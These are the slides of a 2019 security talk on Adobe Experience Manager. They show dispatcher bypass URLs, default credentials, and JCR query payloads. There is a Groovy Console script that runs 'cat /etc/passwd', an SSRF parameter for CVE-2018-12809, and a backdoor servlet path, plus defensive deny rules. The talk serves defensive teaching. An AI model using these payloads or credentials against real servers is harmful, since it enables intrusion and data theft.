Slide 1

Slide 1 text

APACHE SLING & FRIENDS TECH MEETUP 2 - 4 SEPTEMBER 2019 Securing AEM webapps by hacking them Mikhail Egorov @0ang3el, Security researcher & Bug hunter.

Slide 2

Slide 2 text

2 Intro

Slide 3

Slide 3 text

whoami 3  Security researcher & full-time bug hunter  https://bugcrowd.com/0ang3el  https://hackerone.com/0ang3el  Conference speaker  https://www.slideshare.net/0ang3el  https://speakerdeck.com/0ang3el

Slide 4

Slide 4 text

AEM & Bug Bounties 4

Slide 5

Slide 5 text

My research on AEM security 5 PHDays 2015 Hacktivity 2018 LevelUp 2019 https://www.slideshare.net/0ang3el

Slide 6

Slide 6 text

Fellow hackers 6 @darkarnium, 2016 @fransrosen, 2018 @JonathanBoumanium, 2018 https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html

Slide 7

Slide 7 text

Common AEM deployment 7 Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? Main blocks: • Author AEM instance • Publish AEM instance • AEM dispatcher (~WAF)

Slide 8

Slide 8 text

Sources of vulnerabilities 8  AEM misconfiguration  AEM code (CVEs)  3rd-party plugins  Your code

Slide 9

Slide 9 text

9 Vulnerabilities due to misconfiguration

Slide 10

Slide 10 text

AEM dispatcher bypass – CVE-2016-0957 10  Blocked by Dispatcher  /bin/querybuilder.json  However passed to publish instance  /bin/querybuilder.json/a.css  /bin/querybuilder.json/a.icoS  /bin/querybuilder.json?a.html  /bin/querybuilder.json;%0aa.css

Slide 11

Slide 11 text

AEM dispatcher bypass – Sling “features” 11  When Sling Servlet is registered with sling.servlet.path other properties are ignored (e.g. sling.servlet.extensions)  Bypassing extension check  /bin/querybuilder.json.css  /bin/querybuilder.feed.ico

Slide 12

Slide 12 text

AEM dispatcher bypass – Sling “features” 12  When Sling Servlet is registered with sling.servlet.resourceTypes  Bypassing path check  Create node with proper sling:resourceType under /content/usergenerated/etc/commerce/smartlists

Slide 13

Slide 13 text

AEM dispatcher security tips 13  Don’t use rules like  /0041 { /type "allow" /url "*.css" } # This is bad  Better use  /0041 { /type "allow" /extension 'css' }

Slide 14

Slide 14 text

AEM dispatcher security tips 14  Explicit deny rule for dangerous endpoints  /0090 { /type "deny" /path "/libs/*" }  /0091 { /type "deny" /path "/bin/querybuilder*" }  Place explicit deny rules in the end of policy

Slide 15

Slide 15 text

Default credentials 15  admin/admin  author/author  Geometrixx users  grios:password  [email protected]:jdoe  …

Slide 16

Slide 16 text

Default credentials 16 == base64(admin:admin)

Slide 17

Slide 17 text

Weak passwords / Credentials bruterorcing 17  Properties jcr:createdBy, cq:lastModifiedBy, jcr:lastModifiedBy contain usernames  Many ways to bruteforce  LoginStatusServlet  GetLoggedInUser servlet  CurrentUserServlet  …

Slide 18

Slide 18 text

Weak permissions for JCR 18  Many ways to access JCR  DefaultGetServlet  QueryBuilderJsonServlet  QueryBuilderFeedServlet  GQLSearchServlet  CRXDE Lite  …

Slide 19

Slide 19 text

Weak permissions for JCR 19  Anonymous user has jcr:write permission for /content/usergenerated/etc/commerce/s martlists

Slide 20

Slide 20 text

0 /apps//config.author.tidy.1..json/a.ico

Slide 21

Slide 21 text

Weak permissions for JCR 21 type=nt:file&nodename=*.zip

Slide 22

Slide 22 text

Weak permissions for JCR 22 path=/home&p.hits=full&p.limit=-1

Slide 23

Slide 23 text

23 Vulnerabilities due to 3-rd party components

Slide 24

Slide 24 text

Groovy Console 24  Exposes servlet at /bin/groovyconsole/post.servlet without authentication by default https://github.com/icfnext/aem-groovy-console

Slide 25

Slide 25 text

cS4VLFuCHKwX;XS script=def+proc+%3d+”cat+/etc/passwd”.execute()%0d%0aprintln+proc.text

Slide 26

Slide 26 text

ACS AEM Tools 26  Exposes Fiddle with ability to execute JSP scripts on /etc/acs-tools/aem- fiddle/_jcr_content.run.html  May not require authentication

Slide 27

Slide 27 text

cS4VLFuCHKwX;X

Slide 28

Slide 28 text

28 AEM vulnerabilities

Slide 29

Slide 29 text

CVE-2018-12809 (SSRF*) 29  ReportingServicesProxyServlet (cq-content-insight bundle) @SlingServlet( generateComponent = true, metatype = true, resourceTypes = {"cq/contentinsight/proxy"}, extensions = {"json"}, selectors = {"reportingservices"}, methods = {"GET"}, label = "Reporting Services API proxy servlet", description = "Proxy servlet for Reporting Services API" ) public class ReportingServicesProxyServlet extends SlingSafeMethodsServlet { private static final String DEFAULT_API_OMNITURE_URL = ".*/api[0-9]*.omniture.com/.*";} … } *SSRF - Server Side Request Forgery

Slide 30

Slide 30 text

CVE-2018-12809 (SSRF*) 30  Paths to invoke servlet  /libs/cq/contentinsight/content/proxy.reportingservices.json  /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet  Vulnerable parameter url  url=http://anyurl%23/api1.omniture.com/a *SSRF - Server Side Request Forgery

Slide 31

Slide 31 text

No content

Slide 32

Slide 32 text

No content

Slide 33

Slide 33 text

No content

Slide 34

Slide 34 text

ExternalJobPostServlet deser / CVE? 34  Affects AEM 5.5 / AEM 5.6 @Service @Properties(value = { @Property(name = "sling.servlet.extensions", value = "json"), @Property(name = "sling.servlet.paths", value = "/libs/dam/cloud/proxy"), @Property(name = "sling.servlet.methods", value = { "POST", "GET", "HEAD" }) }) public class ExternalJobPostServlet extends SlingAllMethodsServlet { ... }

Slide 35

Slide 35 text

ExternalJobPostServlet deser / CVE? 35  Parameter file accepts Java serialized stream and passes to OIS.readObject()  Hard to exploit in OSGI environment

Slide 36

Slide 36 text

No content

Slide 37

Slide 37 text

No content

Slide 38

Slide 38 text

38 Automation

Slide 39

Slide 39 text

AEM RCE bundle 39  Allows to get RCE* when having access to Felix Console  https://github.com/0ang3el/aem-rce-bundle.git * RCE – Remote Code Execution

Slide 40

Slide 40 text

AEM RCE bundle 40  Path - /bin/backdoor.html?cmd=ifconfig

Slide 41

Slide 41 text

AEM Hacker 41  Scripts to check security of AEM application  aem_hacker.py, aem_discoverer.py, aem_enum.py, aem_ssrf2rce.py, aem_server.py, response.bin, aem-rce-sling-script.sh  https://github.com/0ang3el/aem-hacker.git

Slide 42

Slide 42 text

DEMO 42

Slide 43

Slide 43 text

43 Takeaways

Slide 44

Slide 44 text

Takeaways 44  Vulnerabilities can occur on different levels  Install security updates  Defense in depth  Check security of AEM application  Pentest / Bug bounty

Slide 45

Slide 45 text

45 Thank you @0ang3el